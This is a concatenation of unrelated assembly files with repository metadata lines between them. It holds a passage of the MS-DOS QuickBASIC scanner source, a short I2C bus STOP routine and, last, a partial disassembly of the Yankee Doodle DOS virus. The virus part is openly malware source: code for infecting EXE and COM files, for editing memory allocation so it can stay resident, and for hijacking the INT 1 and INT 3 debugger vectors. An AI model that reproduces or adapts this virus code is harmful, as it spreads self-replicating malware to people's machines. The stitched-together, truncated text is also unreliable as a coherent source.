push ax ; end of control structures on stack
ScanToExeStart:
xor ax,ax
mov [SsCbFrameTemp],ax ;Count of temps in next statement
mov [SsErr],ax ;Error code
mov [SsExec],ax ;No executable code yet
dec ax
mov [SsErrOTx],ax ;Set error location to FFFF
mov [grs.GRS_oTxCur],ax
mov [EmitErrOtx],ax
mov [SsDelayCnt],ax
mov [SsOTxPatchBos],ax
;Top of scan loop when pcode has HeapMove flag set
public SetScanRet
SetScanRet:
mov [SsOtxHeapMove],di
mov ScanRet,SCANOFFSET ScanToExeLoop ;Set return address for
; dispatched opcode scanners
;Main scan loop for SS_PARSE to SS_EXECUTE
public ScanToExeLoop
ScanToExeLoop:
LODSWTX
and ax,OPCODE_MASK
mov bx,ax
mov al,mpOpAtr[bx]
or [SsExecFlag],al
test al,OPA_fHeapMove ;Cause heap movement?
jnz SetHeapMove
GetExe:
shl bx,1
mov ax,mpOpExe[bx] ;Get nominal executor
mov dx,ax ; Some routines want it in DX
DbPub DispSS
DispSS:
jmp mpOpScanDisp[bx] ;Dispatch to scan routine for opcode
SetHeapMove:
mov [ScanRet],SCANOFFSET SetScanRet
jmp GetExe
Public ScanExit
ScanExit:
pop ax ;Remove stack base indicator
call SsFrameType ;Make sure nothing's on the stack
mov sp,[SsStackSave]
mov al,SS_EXECUTE ;Scan state of text table
cCall UpdateTxdBdl ;Update the TXD or BDL for this table
;See if temp space grew. If there are frames for this procedure on the stack,
;then temps can't grow. An exception is if the only frame is the one on the
;top of the stack, where the gosub return addresses can be moved down to make
;more room. Although direct mode allocates temp space off the current proc,
;it doesn't matter if it grows then because the procedure itself doesn't
;need (or use) the space.
cmp grs.GRS_fDirect,FALSE ;Direct mode?
jnz CouldCont ;Could always continue if direct mode
;Check for CantCont because temps grew
pop ax ;Original cbFrameTemp
test [SsFlags],SSF_CantCont ;Already detect CantCont situation?
jnz SetCantCont
test byte ptr [grs.GRS_oRsCur+1],80H ;MRS?
mov bx,dataOFFSET mrsCur.MRS_cbFrameTemp
jz TempsGrow ;Brif MRS
mov bx,dataOFFSET prsCur.PRS_cbFrameTemp
TempsGrow:
cmp ax,[bx] ;Did it grow?
jae CouldCont ;Didn't grow--still can continue
;Grew FrameTemps
mov bx,dataOffset b$CurFrame
cCall ActiveORs_Frame,<bx> ; See if frame on stack
or ax,ax
jz CouldCont ; Didn't find one
SetCantCont:
call CantCont
CouldCont:
;Compute max size of blank COMMON type and value tables
mov bx,[grs.GRS_bdtComBlk.BD_pb];pBlankCommon
mov ax,[bx].COM_oTypCur ;Size of type table
cmp ax,[oTypComMax] ;Grow?
jbe MaxComSize
mov [oTypComMax],ax ;Set new max
mov ax,[bx].COM_oValCur
mov [oValComMax],ax ;Set new max for value table
MaxComSize:
DbChkTxdCur ;perform sanity check on txdCur
DbMessTimer SCAN,<Leave SsScan - >
mov ax,[SsErr] ;Return error code in ax
or ax,ax
jz ScanX
cmp [grs.GRS_fDirect],FALSE ;don't descan direct mode buffer
jne ScanX ;branch if in direct mode
push ax ;Descan sets it own error--save ours
call far ptr SsDescanErr ;Back to parse state if error
pop ax
ScanX:
cEnd SsScan
;CheckSLoop - exe loop nonRELEASE checking code
subttl SsDescan
page
;***
;SsDescan
;
;Purpose:
;
; Descan is dispatched as:
; [[mpOpScanDisp+(([executor-2])*2)]-2]
;
; That is, the descan address is in memory as the word before
; each scan routine. This is memory conservative, as there are
; relatively few scan routines compared to opcodes or executors.
;
; Individual descan routines must determine descan requirements
; based on ssTarget and the current pcode state. This is efficient
; in that there are few descan routines that are state sensitive.
;
; When descanning from executor state all pcodes that can be inserted
; by SsScan only are removed. In other words scan routines do not have
; to check to see if coercion tokens (for example) have already been
; inserted. This is efficient in that it is usually as hard to check
; to see if the work is required as it is to simply do the work.
;
; Descan routines are dispatched with:
; ax = opcode
; si = descan source
; di = descan destination
;
;*******************************************************************************
public SsDescan
cProc SsDescanErr,<FAR>,<es,si,di>
localW oTxtLast ;Offset of last pcode word
localV txLinks,<SIZE TXLNK> ;Link list control
SsDescan:
mov [SsErrOTx],-1 ;Set error location to FFFF
cBegin SsDescanErr
DbMessTimer SCAN,<Enter SsDeScan - >
DbChkTxdCur ;perform sanity check on txdCur
DbAssertRelB grs.GRS_fDirect,e,0,SCAN,<descan called for direct mode buffer>
DbAssertRelB txdCur.TXD_scanState,e,SS_EXECUTE,SCAN,<descan called when not in EXECUTE state>
;Load text segment to es:
GETSEGTXTCUR ;es = seg adr of cur text table
SetStartOtx di ;Start at the beginning of text
; and debind labels to oTxt
call SsLabelRefDebind ;First descan label references
mov ax,UNDEFINED
mov txdCur.TXD_otxLabLink,ax;Update txd head pointer
lea bx,txLinks ;Address of link control struc
call TxLnkInit ;init txLinks structure to 0
;ax = 0
;preserves: bx,ax,dx, uses: cx,es
mov [SsErr],ax
mov ax,txdCur.TXD_bdlText_cbLogical
dec ax
dec ax
mov oTxtLast,ax ;Save offset of last pcode word
SetStartOtx si ;Descan from the start
mov di,si ;Destination = source
mov [SsCbTxExpand],si
mov [ScanRet],SCANOFFSET ContDescanLoop ;Descan routines
;return through ScanRet
SortOTx:
mov dx,[EmitErrOtx] ;Start sort with error location
mov [SsReturnBp],dataOFFSET EmitErrOtx
call FCanCont ; ZF set if user can't continue
jz SetNextOtxJ ;Don't search others if can't cont.
push si
push di
mov si,[pGosubLast] ;Head of gosub list
mov di,[b$CurFrame] ;Start of bp return addr chain
mov cx,[grs.GRS_oRsCONT] ;cx = current pc's oRs
mov bx,dataOFFSET grs.GRS_oTxCONT
FixORs:
call GetOtxRS ;Make sure oRS in cx isn't for DefFn
CompOTx:
test byte ptr [bx],1 ;Special one we should ignore?
jnz NextOTx ;Brif return to direct mode
call CheckUpdate
NextOTx:
;Scan GOSUB return address list for returns in oPRS = cx
or si,si
jz CheckFrame ;No more gosub returns
cmp si,di ;Still within current module/procedure
ja CheckFrame
lea bx,[si].FR_otxRet
mov si,[si]
jmp CompOTx
CheckFrame:
cmp di,[b$MainFrame] ;End of list?
jz SetNext
lea bx,[di].FR_otxRet
mov cx,[di].FR_oRsRet ;oRS of return address
mov di,[di].FR_basBpLink
jmp FixORs
SetNextOtxJ:
jmp short SetNextOtx
SetOtxCont:
mov ax,di
inc ax ;Set LSB of otx to remember it's set
mov [grs.GRS_otxCont],ax ;Set new CONT otx
jmp SortOtx
SetErrorLoc:
mov ax,di
dec ax
dec ax ;Point into previous pcode
mov [grs.GRS_oTxCur],ax ;Location of error
mov [EmitErrOtx],UNDEFINED
jmp SortOtx
OTxMatch:
mov cx,[SsReturnBp]
cmp cx,dataOFFSET grs.GRS_oTxCONT ;Is it current PC?
jz SetOtxCont
cmp cx,dataOFFSET EmitErrOtx ;Is it the location of an error?
jz SetErrorLoc
;At this point, it has been determined that CX contains the offset into
;DGROUP of a word containing an Otx into the current pcode table. To
;update this word to account for descaning and subsequent scanning,
;an opcode is inserted with an operand of the DGROUP offset. The
;scan routine for this opcode will update the static location without
;emitting the executor or operand. To prevent this oTx from being
;found on the next pass through SortOTx, it is set to UNDEFINED (0ffff).
;If CX is odd then CX contains the location minus one where the update
;should occur. This location is the address of an error handler or
;event handler and the opcode must be inserted after the BOL to
;prevent an edit of lines before the handler from messing up the
;update.
mov ax,opNoList1 ;Return address opcode
TestM [SsNextOTx],1 ; Is this a handler address?
jz @F ; Brif not
mov ah,HIGH (opNoList1+OPCODE_MASK+1)
@@:
mov bx,di ;Insert right here
call Insert1Op
mov bx,cx
mov [bx],UNDEFINED ;Blast original oTx
jmp SortOTx
SetNext:
pop di
pop si
;
; See if there is a smaller otx in the Invoke chain.
;
;See if any event handlers need update
push dx ;Save referenced oTx
push [grs.GRS_oRsCur]
call B$IFindEvHandler ;Get smallest event handler oTx
mov bx,dx ;Offset of smallest
pop dx
call CheckUpdateSkipBOL
;See if references in MRS need update.
test byte ptr [grs.GRS_oRsCur+1],80H ;At module level?
jnz SetNextOtx
;Update module level error handler
mov bx,dataOFFSET mrsCur.MRS_otxHandler
call CheckUpdateSkipBOLAX
;Update current Data position
mov bx,dataOFFSET mrsCur.MRS_data_otxCur
call CheckUpdateRs
SetNextOtx:
add dx,[SsCbTxExpand] ;Adjust for current source position
jnc ValidOtx
mov dx,UNDEFINED
ValidOtx:
mov [SsNextOTx],dx ;oText we're looking for
ContDescanLoop:
cmp si,[SsNextOTx] ;Looking for this oText?
jae OTxMatch ;Brif current otx >= next update loc
LODSWTX ;Load executor
mov bx,ax
GetCodeIntoDs SCAN
mov ax,[bx-2] ;Load opcode for executor
push ss
pop ds ;Move back to data segment
mov bx,ax
and bh,HIGH OPCODE_MASK
DbAssertRel bx,be,OP_MAX,SCAN,<Descan: opcode out of range>
shl bx,1 ;Move to word offset
mov bx,mpOpScanDisp[bx] ;Load scan routine address
jmp cs:SsProcParse[bx] ;And dispatch w/ ax = opcode
;DescanTerm is installed in ScanRet by descan to SS_PARSE dispatch routines
;that terminate descan. For example, see SsD_Eot.
public DescanTerm
DescanTerm:
mov al,SS_PARSE
cCall UpdateTxdBdl ;Update the TXD or BDL for text table
call FCanCont ; See if we can continue
jz DescanX ;Can't cont
and byte ptr [grs.GRS_otxCont],not 1 ;Reset LSB of CONT otx
cmp [SsErr],0 ;Any errors?
jz DescanX
call CantCont ;If errors, can't continue
;DescanX is installed in ScanRet by descan to SS_RUDE dispatch routines
;that terminate descan. For example, see SsV_Eot
Public DescanX
DescanX:
DbChkTxdCur ;perform sanity check on txdCur
DbMessTimer SCAN,<Leave SsDeScan - >
cEnd SsDescan
;*** CheckUpdate,CheckUpdateSkipBOL
;Purpose:
;
; See if the oTx at [bx] is smaller than the one in dx and is
; in the same text table.
;
;Input:
;
; ax = oTx (CheckUpdateSkipBOL only)
; ds:bx = pointer to an oTx
; cx = oRS of oTx at [bx]
; dx = current smallest oTx in current text table
;
;Outputs:
;
; dx updated with new smallest
;
;Preserves:
;
; bx,cx
CheckUpdateSkipBOLAX:
mov ax,word ptr [bx]
CheckUpdateSkipBOL:
inc ax
jz UpdateX
dec ax
push bx
GetCodeIntoDs SCAN
mov bx,ax ;oTx to bx
add bx,ss:[SsCbTxExpand]
mov bx,PTRTX[bx] ;Get executor
mov bx,[bx-2] ;Get opcode
push ss
pop ds
mov bl,mpOpAtr[bx] ;Load attribute byte
and bx,OPA_CntMask ;Get the operand count from attribute
add ax,bx ;Compute oTx after BOL
dec ax ; LSB indicates BOL Update
pop bx
jmp short CheckUpdateAx
CheckUpdate:
cmp cx,[grs.GRS_oRsCur] ;In current text table?
jnz UpdateX
CheckUpdateRs:
mov ax,[bx]
CheckUpdateAx:
cmp dx,ax
jbe UpdateX
xchg dx,ax ;New smallest oTx
mov [SsReturnBp],bx ;Location being updated
UpdateX:
ret
;*** GetOtxRs
;Inputs:
; cx = any oRS
;Purpose:
; Map oRS of DefFn back to it oMRS
;Outputs:
; cx = oRS that owns text table of input oRS
;Preserves:
; bx,dx,es
GetOtxRs:
push es
or cx,cx
jns OtxRs ;If MRS, have text table
;See if oPRS is of a DefFn
xchg ax,bx ;Preserve bx
xchg cx,ax ;cx = old bx, ax = oRS
and ax,not 8000H ;Reset MSB
call PPrsOPrsSCAN ; bx = pPRS
or ax,8000H ;Make ax an oRS again
cmp BPTRRS[bx].PRS_procType,PT_DEFFN ; Is proc a DefFn?
jnz UsePRS ;If not, PRS in ax is OK
mov ax,PTRRS[bx].PRS_oMRS ; Get oMRS for DefFn
UsePRS:
xchg cx,ax ;cx = oRS
xchg bx,ax ;Restore bx
OtxRs:
pop es
ret
;***
;SsFrameType - determine type of scanner frame
;Purpose:
; Report error if there was a scanner frame on the stack.
;Inputs:
; ax = scan stack entry
; si = scan source oTx
; di = scan emit oTx
; [sp+2] = oTx of source of scanner frame
;Ouputs:
; if ax = 0, nothing
; else report appropriate error
;***************************************************************************
public SsFrameType
SsFrameType:
or ax,ax
jz IgnoreErr
cmp [SsErr],0 ;Already have an error?
jnz IgnoreErr ;If so, leave it
mov cx,ER_FN ;FOR without Next
testx ax,STYP_For ;In FOR block?
jnz CxErr
mov cx,ER_WH ;WHILE without WEND
testx ax,STYP_While
jnz CxErr
mov cx,MSG_Do ;DO without LOOP
testx ax,STYP_Do
jnz CxErr
mov cx,MSG_Select ;SELECT without END SELECT
testx ax,STYP_Case
jnz CxErr
mov cx,MSG_DefNoEnd ;DEF without END DEF
testx ax,STYP_DefFn
jnz CxErr
;
;Insert additional control structure tests here
;Scan stack entry must be oTx of last operand
;
testx ax,STYP_If+STYP_Else ;In IF block?
mov ax,ER_IER ;Internal error if not
jz SsError
mov cx,MSG_IWE ;Block IF without END IF
CxErr:
pop dx ;Return address
pop bx ;oTx of error
push bx
push ax ;Restore frame
push dx ;Put return address back
xchg ax,cx ;Error code to ax
; jmp SsErrorBx ;Fall into SsErrorBx
;***
;SsError,SsErrorBx - scanner error handler
;
;Purpose:
;
; Record scanner error, setting variables as follows:
;
; [SsErr] = error code
; [grs.GRS_oTxCur] = oTx in unscanned pcode of error
; [SsErrOTx] = oTx in scanned pcode when error was found
;
; This routine returns normally and scanning continues so that
; all the various link chains will be properly updated. If a
; second error is encountered, it is ignored.
;
;Input:
;
; ax = error code
; si = Source oTx of pcode that caused the error. (SsError)
; bx = Emit oTx of error (SsErrorBx)
; di = Current emit oTx
;
;Modifies:
;
; none.
;
;Preserves:
;
; bx,cx,dx
;
;***************************************************************************
public SsError,SsErrorBx
;NOTE: fallen into by SsFrameType above!
SsErrorBx:
;This variation of SsError reports bx as the emit location of the error
;instead of si as the source location
cmp [SsErr],0 ;Already have an error?
jnz IgnoreErr ;If so, leave it
mov [SsErr],ax ;Record error code
mov [EmitErrOTx],bx ;Location of error
mov [SsErrOTx],di ;Remember current emit oTx
ret
SsError:
cmp [SsErr],0 ;Already have an error?
jnz IgnoreErr ;If so, leave it
mov [SsErr],ax ;Record error code
mov ax,si
sub ax,[SsCbTxExpand] ;Compute unscanned pcode address
dec ax
dec ax ;oTx - 2
mov [grs.GRS_oTxCur],ax ;Report location of error
mov [SsErrOTx],di ;Remember scanned error address too
IgnoreErr:
ret
subttl ScanAndExec and ExecuteFromScan
page
;*** ScanAndExec
;
;Purpose:
;
; Called by rude scanner to scan to execute state, then
; execute a line of code. Used for assigning constants.
;
; Modified in revision [12] to take inputs on stack, use cMacros,
; become a far entry point.
;Inputs:
; parm1 = oTx of pcode to execute
; parm2 = cb of pcode
;Outputs:
;
; ax = error code, 0 if no error; flags set
; if ax != 0, high-bit set indicates that pcode was not changed
; (i.e., still contains an oNam, not an oVar).
; es = current text segment
;
;*** ExecuteFromScan
;
;Purpose:
;
; Fires up execution from the scanner. Used to DIM $STATIC arrays
; in COMMON. DIM executor direct jumps to ScanExExit to terminate.
;
; Modified in revision [12] to take dummy parms on stack, use cMacros,
; become a far entry point.
;Inputs:
;
; [SsScanExStart] has starting oTx
;
;***************************************************************************
ScanExGrow = 20
public ScanAndExec,SsScanExExit
public ExecuteFromScan,ScanExExit
cProc ExecuteFromScan,<NEAR>,<si,di>
parmW dummy1 ; parms provided to match frame
parmW dummy2 ; conditions of ScanAndExec
cBegin
DbAssertRel [SsErr],e,0,SCAN,<ExecuteFromScan: SsErr != 0>
push [b$curframe]
push [txdCur.TXD_bdlText_cbLogical]
DJMP jmp short StartExec
cEnd ; nogen
cProc ScanAndExec,<NEAR>,<si,di>
parmW oTxPcode
parmW cbPcode
cBegin
mov [ScannerFlags],SSF_ScanAndExec*100H ;Scanning CONST statement
push [b$curframe]
mov di,[txdCur.TXD_bdlText_cbLogical]
push di ;Save current text size
mov si,[oTxPcode]
mov cx,[cbPcode]
push cx
add cx,ScanExGrow+2 ;Allow some growth and END executor
push cx
call TxtFreeFar ; Extend text table
or ax,ax
jz ScanExOME ;Insufficient memory
GETSEGTXTCUR ; es = the text segment
pop cx
mov [SsScanExSrc],si ;Save true oTx of source
push di ;Emit address
add di,ScanExGrow ;Source address
push di
shr cx,1 ;cx = count of words
cli ;Double prefix! No interrupts!
rep movs PTRTX[si],PTRTX[di] ;Copy pcode to end of text table
sti
mov ax,opEOT
STOSWTX
mov [txdCur.TXD_bdlText_cbLogical],di ;Extend text table
pop si
pop di
mov [SsScanExStart],di
mov [SsCbTxExpand],ScanExGrow
jmp ScanToExeStart
ScanExOME:
pop cx
pop dx ;Clean junk off stack
mov ax,08000H OR ER_OM ;high bit says pcode is unchanged
jmp short ScanExErr
SsScanExExit:
mov PTRTX[di],codeOFFSET exScanExExit
mov ax,[SsErr]
or ax,ax ;Any scanner errors?
jnz ScanExErr
StartExec:
;Dispatch execution
call far ptr StartExecCP
ScanExErr:
GETSEGTXTCUR ;es = the text segment
and [SsFlags],not SSF_ScanAndExec
pop [txdCur.TXD_bdlText_cbLogical]
pop [b$curframe]
or ax,ax ; Any scanner errors?
cEnd
sEnd SCAN
sBegin CP
assumes cs, CP
assumes ds, DATA
assumes es, NOTHING
assumes SS, DATA
cProc StartExecCP,<FAR>
cBegin
call RtPushHandler ;Save current RT error handler
mov ax,cpOFFSET RtScanExTrap
call RtSetTrap ;Assign new RT error handler
call DisStaticStructs ;Deactivate mrsCur
mov [b$curframe],bp ;Required by math executors
TestM [SsScanExStart],1 ; Is this implicit Dim?
jnz @F ; Brif yes
mov si,[SsScanExStart]
jmp far ptr Start
@@:
jmp DimImplicit
ScanExExit:
xor ax,ax
RtScanExTrap:
push ss
pop ds ;restore ds == DGROUP from execution
xchg ax,si ;Save error code
call RtPopHandler
call EnStaticStructs ;Re-activate mrsCur
xchg ax,si ;Restore error code
cEnd
sEnd CP
sBegin CODE
assumes cs, CODE
assumes ds, DATA
assumes es, NOTHING
assumes SS, DATA
extrn Start:far
exScanExExit: jmp far ptr ScanExExit
sEnd CODE
end
| 26.289005 | 94 | 0.705847 |
c0e875455bc2577fecc213700c3c9db5a484a45b | 659 | asm | Assembly | inc/i2c_stop.asm | arhefner/elf-io | 43a988f8d2dc824c58cf7a5cac553fee837ae2bd | [
"MIT"
] | null | null | null | inc/i2c_stop.asm | arhefner/elf-io | 43a988f8d2dc824c58cf7a5cac553fee837ae2bd | [
"MIT"
] | null | null | null | inc/i2c_stop.asm | arhefner/elf-io | 43a988f8d2dc824c58cf7a5cac553fee837ae2bd | [
"MIT"
] | null | null | null | ;------------------------------------------------------------------------
;This routine creates a STOP condition on the i2c bus.
;
;Register usage:
; R2 points to an available memory location (typically top of stack)
; RE.1 maintains the current state of the output port
;
GHI RE
ORI SDA_LOW ; SDA LOW
STR R2
OUT PORT
DEC R2
ANI SCL_HIGH ; SCL HIGH
STR R2
OUT PORT
DEC R2
ANI SDA_HIGH ; SDA HIGH
STR R2
OUT PORT
DEC R2
PHI RE ; Update port data
| 29.954545 | 74 | 0.423369 |
38e815badb3981c6d3fcba7ae826ef21422a2eb0 | 47,598 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.yd23.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.yd23.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.yd23.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;THE YANKEE DOODLE VIRUS
;POOR DISASSEMBLY OF IT MANY REFRENCE MADE AS ABSOLUTE WHEN THEY SHOULD
;BE REFRENCE TO LOCATIONS IN PROGRAM
;WILL WORK IF NO CHANGES MADE TO CODE
;EXCUSE SOME OF THE COMMENTS WHICH MAKE NO SENSE
.RADIX 16
INT01_OFFS EQU 0004
INT03_OFFS EQU 000C
MEM_SIZE EQU 0413
TIMER_HI EQU 006E
TIMER_LO EQU 006C
;******************************************************************************
;The host program starts here. This one is a dummy that just returns control
;to DOS.
host_code SEGMENT byte
ASSUME CS:host_code, ds:host_code
ORG 0
db 1eh dup (0)
HOST: DB 0B8H, 00H, 4CH, 0CDH
DB '!OS SYS'
DB 7,0,0,0,0
host_code ENDS
vgroup GROUP virus_code
virus_code SEGMENT byte
ASSUME cs:virus_code, ds:virus_code
;data AREA
TOP_VIR: db 0f4h
db 7ah
DB 2Ch ;used as a marker
D003 DB 00
FSIZE1 DW 0000 ;filsize being infected
FSIZE2 DW 0223 ;in bytes hex of course
D1 Dw 0abeh ;used as a marker
TOP_HOST DW 5A4DH ;USED AS A FILE BUFFER
;WHEN FILE IS EXE BELOW IS TRUE
;SIGANATURE
P_SIZE DW 0023 ;LAST PAGE SIZE
P_COUNT DW 0002 ;PAGE COUNT
RELOC DW 0000 ;RELOC TABEL ENTRIES
H_PARA DW 0020 ;#HEADER PARAGRAPHS
MINALLOC DW 0001 ;MIN ALLOC OF MEM
MAXALLOC DW 0FFFF ;MAX ALLOC OF MEM
I_SS DW 0000 ;INTIAL SS
I_SP DW 0000 ;INTIAL SP
CHECKSUM DW 0000 ;CHECKSUM
I_IP DW 0000 ;I_IP PRE INFECTION
I_CS DW 0000 ;I_CS
REL_OFFSET DW 003E ;RELOCATION OFFSET
O_NUM DW 0000 ;OVERLAY NUM
;EXTRA NOT USED DURING EXE
;HEADER READING
REM1 DB 01,00,0FBH,30 ;D0026
;end of top_host buffer
;***********************************************************************
OLD_INT21_OFS DW 109E
OLD_INT21_SEG DW 0116
OLD_INT21_OFS2 DW 109E
OLD_INT21_SEG2 DW 0116
OLD_INT24_OFS DW 0155
OLD_INT24_SEG DW 048Ah
OLD_INT1C_OFS DW 0FF53
OLD_INT1C_SEG DW 0F000
F_HANDLE DW 5 ;3A
F_TIME DW 5002 ;
F_DATE DW 1ACC ;3E
;USED IN VIT INT 1C PART
X1 DW 00DE ;0040
X2 DW 006A ;0042
BUFFER1 DB 2E,83,3E,5E,0C
BUFFER1A DB 0F4,06,70,00
BUFFER2 DB 2E,83,3E,5E,0C
BUFFER2A DB 0F4,06,70,00
SNARE DB 00 ;0056
X4 DB 00
F_ATTR DB 20
PLAY_TUNE DB 01 ;0059
REM2 DB 00 ;005A
COMFILE DB 00
INFEC_FL DB 00
CTRL_FLAG DB 00 ;5D
COUNTER DB 7BH ;5E
X7 DB 01 ;5F
X8 DW 00 ;60
PAGE_16 DW 0010 ;
HOST_IP DW 0100 ;FOR COM FILE INFECTIONS
EXE_PG_SIZE DW 0200 ;
C_OFFSET_21 DW OFFSET CALL_INT21 ;2CFH
X101 DB 0C7,11
X10 DB 0C7,11 ;
X11 DB 0E6,0F ;006E
X12 DB 28,0E ;70
DB 0C7,11 ;72
DB 28,0E ;74
DB 0E6,0F ;76
DB 0C4,17 ;78
DB 0C7,11,0C7,11 ;7a
DB 0E6,0F ;7e
DB 28,0E,0C7,11 ;80
DB 0C7,11,0C7,11 ;84
DB 0C7,11,0E6,0F ;88
DB 28, 0E, 59, 0Dh ;8c
DB 28,0E,0E6,0f ;90
DB 0C7, 11, 0ef, 12
DB 0C4,17
DB 2C,15
DB 0EF
DB 12,0C7
DB 11,0C7
DB 11,2C
DB 15,0EF,12
DB 2C,15
DB 0C5,1A
DB 2C,15
DB 0EF
DB 012,0C7
DB 011,2C
DB 015,0C4,17
DB 02C,15
DB 0C4,17
DB 0C5,1A
DB 67 ;BA
DB 1C,0C5
DB 1A,0C4
DB 17
DB 2C,15
DB 0EF
DB 12,2C
DB 15,0C5,1A
DB 2C,15
DB 0EF
DB 12,0C7
DB 11,2C
DB 15,0C4,17
DB 0C7,11,0EF,12
DB 0E6,00FH
DB 0C7,11,0C7,11
DB 0FF,0FF
DB 05,05,05
DB 05,05,05
DB 05,05,05
DB 05,05,05
DB 09,09
DB 05,05,05
DB 05,05,05
DB 05,05,05
DB 05,05,05
DB 09,09
DB 05,05,05
DB 05,05,05
DB 05,05,05
DB 05,05,05
DB 05,05,06
DB 05,05,05
DB 05,05,05
DB 05,06,05
DB 05,05,05
DB 09,09 ;115
NEW_PONG:
DB 0FEh, 06h, 7Ah, 7Dh ;INC BYTE PTR [7D7A] 0117
DB 0FEH, 06, 0FBH, 7Dh ;INC BYTE PTR [7DFB]
DB 74,05 ;JZ 0126
DB 0EA,00,7C,00,00 ;JMP 0000:7C00
DB 0FC ;CLD
DB 33,0C0 ;XOR AX,AX
DB 8E,0C0 ;MOV ES,AX
DB 0BE, 2Ah, 7Dh ;MOV SI,7D2A
DB 0BF, 4Ch, 00 ;MOV DI,004C
DB 0A5 ;MOVSW
DB 0A5 ;MOVSW
DB 26 ;ES:
DB 83, 06, 13, 04, 02 ;ADD WORD PTR [0413],+02
DB 0EAh, 00, 7Ch, 00, 00 ;JMP 0000:7C00 0139
;DATA ENDS
;******************************************************************
P_MIN_MAX_ALLOC PROC NEAR
;ENTRY SI = 14H = OFFSET MINALLOC
; 16H = OFFSET MAXALLOC
;THIS PROCEDURE ALTERS THE GIVEN VALUES
;TO BE USEFULE TO THE VIRUS WHEN GOING TSR
;by editing the min and max memory requirments
;so that it doesn't need to release mem to go memory resident
MOV AX,[SI]
SUB AX,0BBH
JB TOSMALL
CMP AX,08
NOP
JB TOSMALL
EXIT_MIN_MAX:
MOV [SI],AX
RETN
TOSMALL:
MOV AX,09
JMP short EXIT_MIN_MAX
P_MIN_MAX_ALLOC ENDP
;*************************************************************************
HOOK_1_3 PROC NEAR
;CALLED BY SET_TO_HOOK1_3
; ON ENTRY HAS DI = 44 BX= 4
; DI = 4D BX= C
; DS = CS OF HERE BY VIR INT 1C
PUSH SI
PUSH DS
PUSH CX
PUSH DS
POP ES ;ES POINTS HERE
MOV DS,WORD PTR [X7 + 1] ;APPARENTLY = 0000
;
LDS SI,DWORD PTR [BX] ;loads DS:SI = DS:[bx]
;
MOV WORD PTR ES:[DI+ 5],SI ;
MOV WORD PTR ES:[DI+ 7],DS ;
CMP BYTE PTR [SI],0CFH ;
JE EXIT_HOOK_1_3 ;J17D
;if we get this far hook by manliputaing the vector table
;si = vector for int1 or int3
;int used by debug programs
CLD
MOV CX,0005
REPZ MOVSB
MOV BYTE PTR [SI-05],9A ;flag
MOV WORD PTR [SI-04],OFFSET anti_DEBUG ;a ip 01c3
MOV WORD PTR [SI-02],CS ;a cs
EXIT_HOOK_1_3:
POP CX
POP DS
POP SI
RETN
HOOK_1_3 ENDP
;***************************************************
SET_TO_HOOK1_3 PROC NEAR
;CALLED BY VIR INT 1CH
PUSH BX
PUSH DI
MOV BX,INT01_OFFS ;0004 VECTOR TO INT3
MOV DI,OFFSET BUFFER1 ;0044
CALL HOOK_1_3 ;SET UP HOOK INT 1
MOV BX,INT03_OFFS ;000C VECTOR TO INT3
MOV DI,OFFSET BUFFER2 ;004D
CALL HOOK_1_3 ;SET UP TO HOOK INT 3
POP DI
POP BX
RET
SET_TO_HOOK1_3 ENDP
;*************************************************************************
RESTORE_1_3 PROC NEAR
;ENTRY SI = BUFFER1 ;2E,83,3E,5E,0C F4,06,70,00
; BUFFER2
;NOT SURE WHY BUT IT SEEMS THAT THIS CODE WILL CHECK FOR MEM LOCATION
; 0070:60F4 = 9A,01,C3 IF THERE IT WILL
;RESTORE OF BUFFER1/2 OVER THIS LOCATION WHICH WAS THE ORGINAL
; VECTOR ADDRESS INT
PUSH CX
PUSH DI
LES DI,DWORD PTR [SI+05] ;load this 4 bytes as a mem
;location into es:di
;0070:06f4
CMP BYTE PTR ES:[DI],9A
JNE EXIT_RESTORE_1_3
CMP WORD PTR ES:[DI+01],OFFSET anti_DEBUG
JNE EXIT_RESTORE_1_3
MOV CX,5 ; MOV 5 BYTES
CLD ; FROM DS:[SI]
REPZ MOVSB ; HERE:[BUFFERX]
; TO ES:[DI]
; 0070:06F4
EXIT_RESTORE_1_3:
POP DI
POP CX
RETN
RESTORE_1_3 ENDP
;*************************************************************
SET_TO_REST_1_3 PROC
;THIS PROCEDURE SEEMS TO RESTORE THE THE INT 1 AND 3 TO THERE PROPER
;LOCATIONS IF WE HAVE ALTERED THEM IT CHECK AND CORRECTS THEM
;IN RESTORE_1_3
;CALLED BY VIR INT 1C
PUSH SI
MOV SI,OFFSET BUFFER2
CALL RESTORE_1_3
MOV SI,OFFSET BUFFER1
CALL RESTORE_1_3
POP SI
RETN
SET_TO_REST_1_3 ENDP
;**********************************************************************
;J01C3
;called int 1\ used by debuggers not program is disenfected if
; int 3/ resident and td or debug is used
; BY PUTTING IN TO THE INT VECTOR FOR INT 1 OR AND INT 3
;THE ADDRESS OF THIS SPOT
;BY HOOK_1_3
;
anti_DEBUG PROC ; P_01C3
; A
PUSH BP ; 8
MOV BP,SP ; FLAGS 6
PUSHF ; CS 4
; IP 2
PUSH ES ; BP <-BP
PUSH DS
PUSH BX
PUSH AX
PUSH CS
pop DS
CALL SET_TO_REST_1_3 ;RESTORE PROPER VECTORS
;IF ALTERED WHICH TO GET HERE IT
;ONE OF THEM WOULD HAVE HAD TO BEEN
MOV AX,CS ;this test if the calling
CMP WORD PTR [BP+08],AX ;return to from this is
JE viral_cs ;J020C is our cs
MOV DS,WORD PTR [BP+08]
CMP WORD PTR [BX+OFFSET TOP_VIR+2],2C ; THIS INFO IS LOCATED AT TOP
JNE EXIT_TO_VIR ; OF VIRUS AND MAYBE AT END AS
; END AS WELL
CMP WORD PTR [BX+OFFSET TOP_VIR],7AF4 ;
JNE EXIT_TO_VIR ;
;CMP WORD PTR [BX + 0008h],0ABE
db 81, 0bf, 08, 00, 0be, 0a
JNE EXIT_TO_VIR
MOV AX,DS ; BX /16 BY {4 SHR}
SHR BX,1 ; WHAT WAS IN BX OFFSET OF VIRUS
SHR BX,1 ; BX APPEARS TO POINT TO
SHR BX,1 ; TOP VIRUS
